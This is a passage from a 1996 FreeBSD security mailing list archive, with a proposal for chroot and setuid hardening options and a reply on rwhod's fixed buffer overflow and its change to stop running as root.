96 04:36:41 am" X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk According to Mark Newton: [...] > Note that I'm not suggesting this as something that should be added to > FreeBSD per se; Rather, I'm suggesting that users of FreeBSD in security- > critical environments can benefit from having kernel sources by taking > the opportunity to "harden" their kernel. Those who make the attempt > will find that once their security policy has been codified in written form, > translating that written form to source code is surprisingly easy > (interdependencies and subtle interrelationships notwithstanding - Be > careful!). The suggestion given above, for example, can be implemented > with just a few lines of C. (Gives me some ideas. Thought I'd share them.) Why not? Make an option for it in the LINT file, and just #ifdef it? option SAFER_CHROOT #Warning, this might break some executables. Something like it, at least? Or maybe make some sysclt or something where you can set it on a per process basis? And/Or have a safer_chroot() or no_setuid_chroot() lib call that lets you add a FreeBSD specific (unless this is copied to other OSes) patch in ports, etc to make some programs more secure? I have no idea how braindamaged any of these ideas are, and for what reason, but I thought I'd see the reactions on this. /Mikael From owner-freebsd-security Sat Nov 2 21:41:15 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA25392 for security-outgoing; Sat, 2 Nov 1996 21:41:15 -0800 (PST) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id VAA25387 for ; Sat, 2 Nov 1996 21:41:12 -0800 (PST) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.7.5/8.7.3) with UUCP id WAA27493; Sat, 2 Nov 1996 22:41:01 -0700 (MST) Received: from localhost (marcs@localhost) by alive.ampr.ab.ca (8.7.5/8.7.3) with SMTP id WAA00649; Sat, 2 Nov 1996 22:40:28 -0700 (MST) Date: Sat, 2 Nov 1996 22:40:27 -0700 (MST) From: Marc Slemko X-Sender: marcs@alive.ampr.ab.ca To: Bill Trost cc: freebsd-security@FreeBSD.org Subject: Re: rwhod buffer overflow bug In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk It runs as daemon in -current: ---------------------------- revision 1.4 date: 1996/08/26 17:01:58; author: pst; state: Exp; lines: +1 -1 Run as daemon.daemon, not nobody.daemon ---------------------------- revision 1.3 date: 1996/08/25 21:37:11; author: pst; state: Exp; lines: +49 -9 Fix buffer overrun, and run as nobody ---------------------------- I haven't looked to be sure it actually gives away all privileges that it can, but it is running as non-root. Now, that change hasn't made it back to -stable. On Sat, 2 Nov 1996, Bill Trost wrote: > I may have asked this question before, but: Why not make rwhod > setuid() itself down once it has its sockets and /dev/kmem open? > /var/rwho would have to be writable by that user, but otherwise > the running rwho would have few privileges with which to do any > real damage to the system. >